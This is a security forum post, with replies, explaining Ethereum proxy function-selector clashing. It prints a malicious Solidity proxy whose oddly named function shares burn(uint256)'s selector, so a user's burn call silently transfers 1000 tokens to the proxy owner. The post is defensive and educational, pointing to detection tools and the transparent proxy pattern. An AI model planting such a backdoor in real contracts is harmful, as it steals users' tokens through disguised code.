Beware of the proxy: learn how to exploit function clashing

In this post we’ll take a look at how an honest, trusted and well-known implementation of a token contract could be leveraged by an attacker to steal tokens by means of function clashing. Working proof-of-concept exploit code included.

Note that function clashing was first properly introduced in Nomic Lab’s “Malicious backdoors in Ethereum Proxies”. That’s where I first read about function clashing, so kudos to Patricio Palladino for the amazing work.


Immutable code is frightening, no doubt. That’s why many projects in the Ethereum ecosystem have been pushing forward the idea of upgradeability mechanisms via proxy contracts. Such mechanisms allow for, among other things, quick bug-fixing and adding new features on top of already deployed contracts.

One incredibly interesting feature of proxies is that they can be leveraged to achieve on-chain code reusability. In an ideal world, reputable projects which have built resilient battle-tested code could deploy their code to the blockchain and have everyone point their proxies to the trusted on-chain code.

Then, all a regular developer would need to do is to deploy a proxy and have users interact with the application through it. Such proxy would in turn delegatecall to the on-chain code of other people’s trusted and verifiable code.

This proxy could look like this:

pragma solidity ^0.5.0;

contract Proxy {
    
    address public proxyOwner;
    address public implementation;

    constructor(address implementation) public {
        proxyOwner = msg.sender;
        _setImplementation(implementation);
    }

    modifier onlyProxyOwner() {
        require(msg.sender == proxyOwner);
        _;
    }

    function upgrade(address implementation) external onlyProxyOwner {
        _setImplementation(implementation);
    }

    function _setImplementation(address imp) private {
        implementation = imp;
    }

    function () payable external {
        address impl = implementation;

        assembly {
            calldatacopy(0, 0, calldatasize)
            let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
            returndatacopy(0, 0, returndatasize)

            switch result
            case 0 { revert(0, returndatasize) }
            default { return(0, returndatasize) }
        }
    }
}

One step further, the developer could show all users that the system uses SomeReallyWellKnownAndTrustedProject‘s code, by just showcasing that the proxy’s implementation state variable points to the address of the SomeReallyWellKnownAndTrustedProject’s on-chain implementation.

For the sake of the example, let’s consider that in this case that the implementation is a flawless trusted burnable token built with well-known libraries such as the upgradeable version of OpenZeppelin Contracts:

pragma solidity ^0.5.0;

import "openzeppelin-eth/contracts/token/ERC20/ERC20Burnable.sol";
import "openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol";
import "zos-lib/contracts/Initializable.sol";

contract BurnableToken is Initializable, ERC20Burnable, ERC20Detailed {

    function initialize(
        string memory name,
        string memory symbol,
        uint8 decimals,
        uint256 initialSupply
    ) 
        public 
        initializer
    {
        super.initialize(name, symbol, decimals);
        _mint(msg.sender, initialSupply);
    }
}

So far so good, right ?. Things are about to get evil now :smiling_imp:.

Enter the evil proxy

Remember the proxy we saw before ? Well, let’s add one additional short function to it:

pragma solidity ^0.5.0;

contract Proxy {
    
    address public proxyOwner;
    address public implementation;

    constructor(address implementation) public {
        proxyOwner = msg.sender;
        _setImplementation(implementation);
    }

    modifier onlyProxyOwner() {
        require(msg.sender == proxyOwner);
        _;
    }

    function upgrade(address implementation) external onlyProxyOwner {
        _setImplementation(implementation);
    }

    function _setImplementation(address imp) private {
        implementation = imp;
    }

    function () payable external {
        address impl = implementation;

        assembly {
            calldatacopy(0, 0, calldatasize)
            let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
            returndatacopy(0, 0, returndatasize)

            switch result
            case 0 { revert(0, returndatasize) }
            default { return(0, returndatasize) }
        }
    }
    
    // This is the function we're adding now
    function collate_propagate_storage(bytes16) external {
        implementation.delegatecall(abi.encodeWithSignature(
            "transfer(address,uint256)", proxyOwner, 1000
        ));
    }
}

Hmm. That collate_propagate_storage(bytes16) at the bottom looks shady, doesn’t it?. But who cares! If I’m a user that’s going to interact with this proxy, all I’d need to do is avoid calling that weird function. Which should be rather easy considering how strange the name is - for sure anyone can’t call it by mistake.

But hey, this is Ethereum. And Ethereum is fun (at least for us security researchers :stuck_out_tongue:). Let’s see what happens if a user wants to burn some tokens:

That’s what the user sees, which is miles away from what the Ethereum Virtual Machine (EVM) sees. What the EVM actually sees is more like this:

So what are those cryptic 0x42966c68 things ? Andreas Antonopoulos’ “Mastering Ethereum” can shed some light into this:

[In the Ethereum Virtual Machine] each function is identified by the first 4 bytes of its Keccak-256 hash. By placing the function’s name and what arguments it takes into a keccak256 hash function, we can deduce its function identifier.

Amazingly (well, actually it’s just probabilities :nerd_face:) the 4-bytes identifier of collate_propagate_storage(bytes16) and burn(uint256) are exactly the same ; namely, 0x42966c68. How can we confirm this ? Pocketh!

$ pocketh selector "collate_propagate_storage(bytes16)"
0x42966c68

$ pocketh selector "burn(uint256)"
0x42966c68

Exploiting function clashing

As the burn call is done through the proxy, the EVM will first check whether there’s any function in the proxy’s code whose identifier matches 0x42966c68. If there were none, then the fallback function of the proxy would be executed and the call delegated to the address stored in the implementation.

However, in this case, the proxy does include a function whose identifier matches 0x42966c68: collate_propagate_storage(bytes16). As a result, it gets executed.

Let’s remember what it looks like:

function collate_propagate_storage(bytes16) external {
   implementation.delegatecall(abi.encodeWithSignature(
       "transfer(address,uint256)", proxyOwner, 1000
   ));
}

So the function will actually force the caller to transfer 1000 tokens to the owner of the proxy! .

image

Jeez, that’s tough. Poor user only wanted to burn a token and ended up with 1000 less tokens.

See it in action

Wanna see the code, right ? Don’t worry, I’ve got you covered!. Here’s a working proof-of-concept exploit for this function clashing.

Does this work without a proxy ?

Nope, the Solidity compiler is smart enough to detect function clashing during compilation. So it’s not possible to build a Solidity contract that clashes two functions.

Do program analysis tools detect function clashing in two separate contracts ?

Yes! Slither has a really nice plugin which should detect function clashing between two contracts (proxy and implementation) right away.

Takeaway

Never ever ever ever blindly trust a proxy! Even if it points to a trusted implementation. Make sure you can verify the code of the proxy you’re interacting with, and that it is battle-tested and well-known.

Bear in mind that the shady proxy we saw earlier is just a simple and obvious proof-of-concept. There’s plenty of room to make the code of collate_propagate_storage(bytes16) waaay more obscure, so that you’d never notice what the function is doing.

On top of that, the proxy’s code may not even be verified in Etherscan, which would make things far trickier.

12 Likes

Loved the writeup @tinchoabbate!! I guess my part now is to add how this impacts proxies used in the OpenZeppelin SDK (formerly known as ZeppelinOS).

The answer is: it doesn’t. The proxies used in OpenZeppelin SDK only have a predefined set of methods (upgrade, setAdmin, etc), and no new methods can be added to them (like collate_propagate_storage in the example).

However, it would still be possible for an attacker to find out a clash between the proxy’s upgrade and a function in the logic contract. To prevent this, we implemented what we called the transparent proxy pattern. In an OpenZeppelin SDK proxy, the admin can call only the proxy functions, and any other address can only call the logic contract functions. This prevents any possibility of clashing, since the actual function being called is determined by the sender as well as by the selector.

This is a pretty nasty attack, and most delegating proxies are vulnerable to it, unless they follow this transparent pattern.

10 Likes

Excellent write up @tinchoabbate Glad to also see @spalladino’s response as well. Stay safe out there developers! Don’t trust code blindly!

3 Likes